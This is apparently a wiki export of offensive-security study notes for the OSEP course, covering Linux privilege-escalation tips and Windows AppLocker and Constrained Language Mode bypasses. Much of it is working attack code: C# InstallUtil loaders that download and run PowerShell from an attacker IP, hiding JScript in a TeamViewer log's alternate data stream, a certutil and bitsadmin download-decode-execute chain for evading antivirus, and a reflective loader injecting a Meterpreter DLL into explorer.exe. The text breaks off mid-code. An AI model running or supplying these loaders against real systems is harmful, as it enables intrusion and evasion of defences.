* Use [https://github.com/DominicBreuker/pspy pspy] to spy on processes and cronjobs you may not be able to see&lt;br /&gt;
&lt;br /&gt;
* Run &amp;lt;code&amp;gt;groups&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;cat ~/.profile &amp;amp;&amp;amp; cat ~/.bashrc&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* If running as www-data, always inspect the contents of html or the application, look for commented out passwords.&lt;br /&gt;
&lt;br /&gt;
* If another user exist, always &amp;lt;code&amp;gt;su [user]&amp;lt;/code&amp;gt; with no password and their name as the password.&lt;br /&gt;
&lt;br /&gt;
* Check &amp;lt;code&amp;gt;/var/backups&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Custom SUIDs won&#039;t be highlighted as linpeas and other privesc scripts don&#039;t know what they are.&lt;br /&gt;
Examine each and every SUD!&lt;br /&gt;
&lt;br /&gt;
* Run [https://github.com/diego-treitos/linux-smart-enumeration linux-smart-enumeration/lse.sh] as a backup privilege escalation script.&lt;br /&gt;
&lt;br /&gt;
* Run also linux-exploit-suggester and linux-exploit-suggester-2.pl&lt;br /&gt;
&lt;br /&gt;
* Try kernel exploits! If no &amp;lt;code&amp;gt;gcc &amp;lt;/code&amp;gt;installed, compile on kali with &amp;lt;code&amp;gt;gcc --static&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Files with caps / capabilities - see Proving Grounds&#039; Escape box.&lt;br /&gt;
[[Category:Handbooks]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Handbook_II_-_Advanced&amp;diff=2360</id>
		<title>Handbook II - Advanced</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Handbook_II_-_Advanced&amp;diff=2360"/>
		<updated>2026-03-16T11:39:17Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* AppLocker bypass using Aspnet_Compiler.exe */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Great websites ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Name&lt;br /&gt;
! Link&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Sites&lt;br /&gt;
| [https://lots-project.com/ LOTS Project - Living Off Trusted Sites (lots-project.com)]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Land&lt;br /&gt;
| [https://lolbas-project.github.io/ https://lolbas-project.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Land C2&lt;br /&gt;
| [https://lolc2.github.io/ LOLC2]&lt;br /&gt;
|-&lt;br /&gt;
| GTFObins&lt;br /&gt;
| [https://gtfobins.github.io/ https://gtfobins.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off The Land Drivers&lt;br /&gt;
| [https://www.loldrivers.io/ LOLDrivers]&lt;br /&gt;
|-&lt;br /&gt;
| WADComs &lt;br /&gt;
| [https://wadcoms.github.io/ https://wadcoms.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living off the Foreign Land Cmdlets and Binaries&lt;br /&gt;
| [https://lofl-project.github.io/ LOFLCAB (lofl-project.github.io)]&lt;br /&gt;
|-&lt;br /&gt;
| Filesec&lt;br /&gt;
| [https://filesec.io/ Filesec.io]&lt;br /&gt;
|-&lt;br /&gt;
| MalAPI&lt;br /&gt;
| [https://malapi.io/ MalAPI.io]&lt;br /&gt;
|}&lt;br /&gt;
== Sources ==&lt;br /&gt;
[https://github.com/chvancooten/OSEP-Code-Snippets GitHub - chvancooten/OSEP-Code-Snippets: A repository with my notable code snippets for Offensive Security&#039;s PEN-300 (OSEP) course.]&lt;br /&gt;
Offsec Pen-300 PDF&lt;br /&gt;
== Important! ==&lt;br /&gt;
See this for a comprehensive guide on AV evasion with many different examples.&lt;br /&gt;
[https://book.ghanim.no/?p=2698 AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM]&lt;br /&gt;
== OSEP Notes Overview PT 1 by Joas ==&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/OSEP-Offensive-Security-Evasion-Professional-Notes-Overview.pdf OSEP-Offensive-Security-Evasion-Professional-Notes-Overview][https://book.ghanim.no/wp-content/uploads/2023/09/OSEP-Offensive-Security-Evasion-Professional-Notes-Overview.pdf Download]&lt;br /&gt;
== Mitre Framework ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TITLE&lt;br /&gt;
! URL&lt;br /&gt;
! SHORT DESCRIPTION&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Engage&lt;br /&gt;
| [https://engage.mitre.org/ https://engage.mitre.org/]&lt;br /&gt;
| MITRE Engage is a platform for collaboration and engagement in the cybersecurity community.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE ATT&amp;amp;CK&lt;br /&gt;
| [https://attack.mitre.org/ https://attack.mitre.org/]&lt;br /&gt;
| MITRE ATT&amp;amp;CK is a knowledge base for adversary tactics and techniques used in cyberattacks.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Cyber Analytics Repository (CAR)&lt;br /&gt;
| [https://car.mitre.org/ https://car.mitre.org/]&lt;br /&gt;
| CAR is a repository of analytics for cybersecurity, providing detection and analytics capabilities.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE D3FEND&lt;br /&gt;
| [https://d3fend.mitre.org/ https://d3fend.mitre.org/]&lt;br /&gt;
| D3FEND focuses on defensive techniques to protect against adversary tactics described in ATT&amp;amp;CK.&lt;br /&gt;
|-&lt;br /&gt;
| Common Vulnerabilities and Exposures (CVE)&lt;br /&gt;
| [https://cve.mitre.org/ https://cve.mitre.org/]&lt;br /&gt;
| CVE is a dictionary of common identifiers for publicly known cybersecurity vulnerabilities.&lt;br /&gt;
|-&lt;br /&gt;
| Common Attack Pattern Enumeration and Classification (CAPEC)&lt;br /&gt;
| [https://capec.mitre.org/ https://capec.mitre.org/]&lt;br /&gt;
| CAPEC is a catalog of common attack patterns used by adversaries in cybersecurity.&lt;br /&gt;
|-&lt;br /&gt;
| Common Weakness Enumeration (CWE)&lt;br /&gt;
| [https://cwe.mitre.org/ https://cwe.mitre.org/]&lt;br /&gt;
| CWE is a community-developed list of common software and hardware weaknesses.&lt;br /&gt;
|-&lt;br /&gt;
| Malware Attribute Enumeration and Characterization (MAEC)&lt;br /&gt;
| [https://maecproject.github.io/ https://maecproject.github.io/]&lt;br /&gt;
| MAEC is a project for standardizing the encoding and communication of malware characteristics.&lt;br /&gt;
|-&lt;br /&gt;
| CALDERA&lt;br /&gt;
| [https://caldera.mitre.org/ Caldera (mitre.org)]&lt;br /&gt;
| Empower cyber practitioners by saving time, money, and energy through automated security assessments​.&lt;br /&gt;
|}&lt;br /&gt;
== Impersonation vs delegation ==&lt;br /&gt;
* &#039;&#039;&#039;Impersonation Tokens&#039;&#039;&#039;: These tokens can be used to impersonate another user on the same system. You don&#039;t necessarily need SYSTEM privileges to obtain and use these tokens.&lt;br /&gt;
* &#039;&#039;&#039;Delegation Tokens&#039;&#039;&#039;: These tokens allow for impersonation across the network, such as accessing resources on another machine. Typically, obtaining delegation tokens requires higher privileges, like those of the SYSTEM account.&lt;br /&gt;
== Managed vs Unmanaged code ==&lt;br /&gt;
&#039;&#039;&#039;Managed Code:&#039;&#039;&#039; Think of managed code like living in an apartment building. You have a building manager who takes care of things like cleaning the halls, fixing broken stuff, and making sure everything is safe. You don&#039;t have to worry too much about these things because the manager handles them for you. In the same way, managed code runs in a system that takes care of tasks like cleaning up memory and keeping things secure.&lt;br /&gt;
&#039;&#039;&#039;Unmanaged Code:&#039;&#039;&#039; Now, imagine you&#039;re living in your own house. You&#039;re in charge of everything – cleaning, fixing, and making sure it&#039;s safe. You have more control, but you also have more responsibilities. Unmanaged code is like that – it gives you more control over how things work, but you have to handle tasks like cleaning up after yourself (managing memory) and making sure everything is secure.&lt;br /&gt;
== AppLocker Basics ==&lt;br /&gt;
=== Enumerate AppLocker ===&lt;br /&gt;
Enumerating AppLocker policies can provide insights into which applications, scripts, and files are allowed or denied from executing on a Windows system. This can be valuable for penetration testers and security analysts to find potential bypasses or weaknesses.&lt;br /&gt;
Here&#039;s a guide on how to enumerate AppLocker:&lt;br /&gt;
* &#039;&#039;&#039;Using PowerShell&#039;&#039;&#039;:&lt;br /&gt;
* View current AppLocker policies:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Effective -xml&amp;lt;/code&amp;gt;&lt;br /&gt;
* Check for any configured rules:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Local | Select -ExpandProperty RuleCollections&amp;lt;/code&amp;gt;&lt;br /&gt;
* &#039;&#039;&#039;Using Windows Event Viewer&#039;&#039;&#039;:&lt;br /&gt;
* AppLocker logs its events under &#039;Applications and Services Logs &amp;gt; Microsoft &amp;gt; Windows &amp;gt; AppLocker&#039;.&lt;br /&gt;
* Look for these event IDs:&lt;br /&gt;
8002: A rule was ignored because its conditions were incomplete.&lt;br /&gt;
* 8003: No AppLocker rules were applied because no rules are in the policy.&lt;br /&gt;
* 8004: AppLocker started enforcing rules.&lt;br /&gt;
* 8005: AppLocker stopped enforcing rules.&lt;br /&gt;
* 8006: AppLocker policy was changed.&lt;br /&gt;
* 8007: AppLocker encountered an error with a rule and continued processing rules.&lt;br /&gt;
* 8008: AppLocker policy was deleted.&lt;br /&gt;
* &#039;&#039;&#039;Using the Local Security Policy MMC&#039;&#039;&#039;:&lt;br /&gt;
* Go to &amp;lt;code&amp;gt;Start &amp;gt; Run&amp;lt;/code&amp;gt; and type &amp;lt;code&amp;gt;secpol.msc&amp;lt;/code&amp;gt;.&lt;br /&gt;
* In the Security Settings tree, go to &amp;lt;code&amp;gt;Application Control Policies &amp;gt; AppLocker&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &#039;&#039;&#039;Using Group Policy Editor&#039;&#039;&#039;:&lt;br /&gt;
* Go to &amp;lt;code&amp;gt;Start &amp;gt; Run&amp;lt;/code&amp;gt; and type &amp;lt;code&amp;gt;gpedit.msc&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Navigate to &amp;lt;code&amp;gt;Computer Configuration &amp;gt; Windows Settings &amp;gt; Security Settings &amp;gt; Application Control Policies &amp;gt; AppLocker&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &#039;&#039;&#039;Check for AppLocker&#039;s DLL Rules&#039;&#039;&#039;:&lt;br /&gt;
* Sometimes, administrators overlook DLL rules which can be used for bypasses.&lt;br /&gt;
* Use PowerShell to check DLL rules:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Effective | Select -ExpandProperty RuleCollections | Where-Object { $_.RuleType -eq &#039;DllRule&#039; }&amp;lt;/code&amp;gt;&lt;br /&gt;
* Using PowerUp.ps;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PS C:\&amp;gt;. .\PowerUp.ps1&lt;br /&gt;
PS C:\&amp;gt;Invoke-AllChecks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Identify Writeable folders ===&lt;br /&gt;
Many of these directories are writeable by default if applocker is enabled. Check with accesschk.exe.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find writeable folders&lt;br /&gt;
accesschk.exe &amp;quot;student&amp;quot; C:\Windows -wus&lt;br /&gt;
# Check Executable Permissions&lt;br /&gt;
icacls.exe C:\Windows\Tasks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This folder is used by the Task Scheduler to store scheduled tasks.&lt;br /&gt;
C:\Windows\Tasks&lt;br /&gt;
# Temporary files are stored in this directory. This is a common writable directory for all users.&lt;br /&gt;
C:\Windows\Temp&lt;br /&gt;
# Used for network tracing logs.&lt;br /&gt;
C:\Windows\tracing&lt;br /&gt;
# Related to the Component-Based Servicing (CBS) log. CBS is used in Windows servicing (Windows Update).&lt;br /&gt;
C:\Windows\Registration\CRMLog&lt;br /&gt;
# Related to fax services.&lt;br /&gt;
C:\Windows\System32\FxsTmp&lt;br /&gt;
# Also related to the Task Scheduler, but not typically writable for standard users by default.&lt;br /&gt;
C:\Windows\System32\Tasks&lt;br /&gt;
# This is where AppLocker configuration and event log data are stored.&lt;br /&gt;
C:\Windows\System32\AppLocker&lt;br /&gt;
# COM+ dump folder.&lt;br /&gt;
C:\Windows\System32\Com\dmp&lt;br /&gt;
# Contains cryptographic keys used by the OS.&lt;br /&gt;
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys&lt;br /&gt;
# Print spooler folder, where print jobs are temporarily stored.&lt;br /&gt;
C:\Windows\System32\spool\PRINTERS&lt;br /&gt;
# Another print spooler related directory.&lt;br /&gt;
C:\Windows\System32\spool\SERVERS&lt;br /&gt;
# Contains color profiles for devices.&lt;br /&gt;
C:\Windows\System32\spool\drivers\color&lt;br /&gt;
# Specific task related to OneDrive updates.&lt;br /&gt;
C:\Windows\System32\Tasks\OneDrive Standalone Update Task-...&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Alternate Data Stream ===&lt;br /&gt;
* Alternate Data Streams (ADS) is a feature of the NTFS file system which represents all files as a stream of data.&lt;br /&gt;
* NTFS supports multiple streams, allowing the storage of metadata in binary file attributes.&lt;br /&gt;
* ADS can be exploited to bypass security features like AppLocker by embedding malicious scripts in trusted files.&lt;br /&gt;
Combine this technique with DotNetToJscript to get a meterpreter shell.&lt;br /&gt;
&#039;&#039;&#039;1. Creating a Simple Jscript for Proof of Concept&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var res = shell.Run(&amp;quot;cmd.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Save the above Jscript as  ​test.js​ .&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Finding a Writable and Executable File&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* A trusted location is required that has files both writable and executable.&lt;br /&gt;
&lt;br /&gt;
* Example: TeamViewer version 12 on the victim machine has a log file ( ​TeamViewer12_Logfile.log​ ) that meets the criteria.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Embedding the Jscript into an Alternate Data Stream (ADS)&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​type​  command to copy the content into an ADS of the trusted file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Users\student&amp;gt;type test.js &amp;gt; &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Verifying the Jscript in the Alternate Data Stream&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​dir /r​  command to validate the Jscript presence in the ADS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dir /r &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log&amp;quot;&lt;br /&gt;
 Volume in drive C has no label.&lt;br /&gt;
 Volume Serial Number is 2467-A865&lt;br /&gt;
&lt;br /&gt;
 Directory of C:\Program Files (x86)\TeamViewer&lt;br /&gt;
&lt;br /&gt;
09/25/2023  06:05 AM            62,790 TeamViewer12_Logfile.log&lt;br /&gt;
                                11,736 TeamViewer12_Logfile.log:demo.js:$DATA&lt;br /&gt;
               1 File(s)         62,790 bytes&lt;br /&gt;
               0 Dir(s)   8,034,390,016 bytes free&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The output should show the  ​TeamViewer12_Logfile.log:test.js:$DATA​  indicating successful writing to the alternate data stream.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Executing the Jscript from the Alternate Data Stream&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Double-clicking the icon for the log file ( ​TeamViewer12_Logfile.log​ ) opens it in Notepad as a standard log file.&lt;br /&gt;
&lt;br /&gt;
* To execute the embedded Jscript, run it from the command line using  ​wscript​  and specify the ADS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wscript &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== AppLocker Bypass Using Powershell ==&lt;br /&gt;
&lt;br /&gt;
=== Constrained Language Mode ===&lt;br /&gt;
&lt;br /&gt;
Constrained Language Mode is a security feature in PowerShell. It limits what scripts and commands can do to prevent potentially harmful actions. Think of it as putting training wheels on PowerShell – you can still ride, but you&#039;re restricted in what you can do to avoid dangerous situations.&lt;br /&gt;
&lt;br /&gt;
==== Enumerate CLM ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Custom Runspace ====&lt;br /&gt;
In PowerShell, a runspace is essentially an environment where PowerShell commands are executed. Think of it as a container or an isolated space where all the necessary components for executing commands are present.&lt;br /&gt;
The code below will execute in Full Language mode.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget&lt;br /&gt;
# Add a reference to  ​System.Configuration.Install​  in Visual Studio.&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            String cmd = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.1.126/run.txt&#039;) | IEX&amp;quot;;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== PowerShell CLM Bypass ====&lt;br /&gt;
Use only &amp;lt;code&amp;gt; ​uninstall&amp;lt;/code&amp;gt;​  as &amp;lt;code&amp;gt; ​install&amp;lt;/code&amp;gt;​  requires admin privileges.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;This is the main method which is a decoy&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    [System.ComponentModel.RunInstaller(true)]&lt;br /&gt;
    public class Sample : System.Configuration.Install.Installer&lt;br /&gt;
    {&lt;br /&gt;
        public override void Uninstall(System.Collections.IDictionary savedState)&lt;br /&gt;
        {&lt;br /&gt;
            String cmd  = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.1.126/run.txt&#039;) | IEX&amp;quot;;&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
To execute the code above&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
===== Bypassing Antivirus =====&lt;br /&gt;
* Download and obfuscate the executable with Base64 encoding using  ​certutil​  on the development Windows machine&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
certutil -encode&lt;br /&gt;
 C:\Users\kali\source\repos\Bypass\Bypass\bin\x64\Release\Bypass.exe file.txt&lt;br /&gt;
Input Length = 5120&lt;br /&gt;
Output Length = 7098&lt;br /&gt;
CertUtil: -encode command completed successfully.&lt;br /&gt;
C:\Users\Offsec&amp;gt;type file.txt&lt;br /&gt;
-----BEGIN CERTIFICATE-----&lt;br /&gt;
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;br /&gt;
AAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v&lt;br /&gt;
dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZIYCAHFjntgAAAAA&lt;br /&gt;
AAAAAPAAIgALAjAAAAwAAAAGAAAAAAAAAAAAAAAgAAAAAABAAQAAAAAgAAAAAgAA&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
IMPORTANT!! The file need to be hosted using Apache2, not Python HTTP server because python http server does not have the correct header.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Unable to complete transfer.&lt;br /&gt;
ERROR FILE:    http://192.168.45.198/file.txt -&amp;gt; C:\users\student\enc.txt&lt;br /&gt;
ERROR CODE:    0x80200013 - The server does not support the necessary HTTP protocol. Background Intelligent Transfer Se&lt;br /&gt;
ERROR CONTEXT: 0x00000005 - The error occurred while the remote file was being processed.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
* Decode it on disk using  ​certutil -decode​ .&lt;br /&gt;
* Use  ​bitsadmin​  for the downloading.&lt;br /&gt;
* &#039;&#039;&#039;Combining Commands&#039;&#039;&#039;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bitsadmin /Transfer myJob http://192.168.119.120/file.txt C:\users\student\enc.txt &amp;amp;&amp;amp; certutil -decode C:\users\student\enc.txt C:\users\student\Bypass.exe &amp;amp;&amp;amp; del C:\users\student\enc.txt &amp;amp;&amp;amp; C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\users\student\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[File:2023-09-image-3.png|thumb]]&lt;br /&gt;
==== Bypass CLM using Meterpreter Powershell_execute ====&lt;br /&gt;
You can bypass CLM using meterpreters &amp;lt;code&amp;gt;load powershell&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; load powershell&lt;br /&gt;
meterpreter &amp;gt; powershell_execute $ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[+] Command execution completed:&lt;br /&gt;
FullLanguage&lt;br /&gt;
meterpreter &amp;gt; shell&lt;br /&gt;
Process 6960 created.&lt;br /&gt;
Channel 4 created.&lt;br /&gt;
Microsoft Windows [Version 10.0.18363.900]&lt;br /&gt;
(c) 2019 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt;powershell&lt;br /&gt;
powershell&lt;br /&gt;
Windows PowerShell&lt;br /&gt;
Copyright (C) Microsoft Corporation. All rights reserved.&lt;br /&gt;
Try the new cross-platform PowerShell https://aka.ms/pscore6&lt;br /&gt;
PS C:\Windows\system32&amp;gt;&lt;br /&gt;
PS C:\Windows\system32&amp;gt; $ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
ConstrainedLanguage&lt;br /&gt;
PS C:\Windows\system32&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== Bypass-clm script form github ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/calebstewart/bypass-clm GitHub - calebstewart/bypass-clm: PowerShell Constrained Language Mode Bypass]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U &amp;quot;C:\Windows\Tasks\bypass-clm.exe&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== CLMroute - Github repo ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/aress31/clm-rout GitHub - aress31/clm-rout: A C# program featuring an all-in-one bypass for CLM, AppLocker and AMSI using Runspace.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /cmd=&amp;quot;whoami /priv&amp;quot; C:\windows\tasks\clmr.exe&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /url=&amp;quot;http://192.168.45.180/PowerUpSQL.ps1&amp;quot; /cmd=&amp;quot;Get-SQLInstanceLocal -Verbose&amp;quot; C:\windows\tasks\clmr.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reflective injection ====&lt;br /&gt;
The technique above will write files to disk. In order to avoid that we will use Invoke-ReflectivePEInjection.ps1.&lt;br /&gt;
This method will Bypass AppLocker and use Reflective DLL Injection with InstallUtil.&lt;br /&gt;
* &#039;&#039;&#039;Generate a 64-bit Meterpreter DLL&#039;&#039;&#039;: This will be our payload.&lt;br /&gt;
* &#039;&#039;&#039;Host Meterpreter DLL on Kali Apache server&#039;&#039;&#039;.&lt;br /&gt;
* &#039;&#039;&#039;Upload  ​Invoke-ReflectivePEInjection.ps1​ &#039;&#039;&#039; (Don&#039;t use the Github version, use the one from Offsec) to the Apache server.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;This is the main method which is a decoy&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    [System.ComponentModel.RunInstaller(true)]&lt;br /&gt;
    public class Sample : System.Configuration.Install.Installer&lt;br /&gt;
    {&lt;br /&gt;
        public override void Uninstall(System.Collections.IDictionary savedState)&lt;br /&gt;
        {&lt;br /&gt;
            String cmd = &amp;quot;$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.45.198/met.dll&#039;); (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.198/Invoke-ReflectivePEInjection.ps1&#039;) | IEX; $procid = (Get-Process -Name explorer).Id; Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&amp;quot;;&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
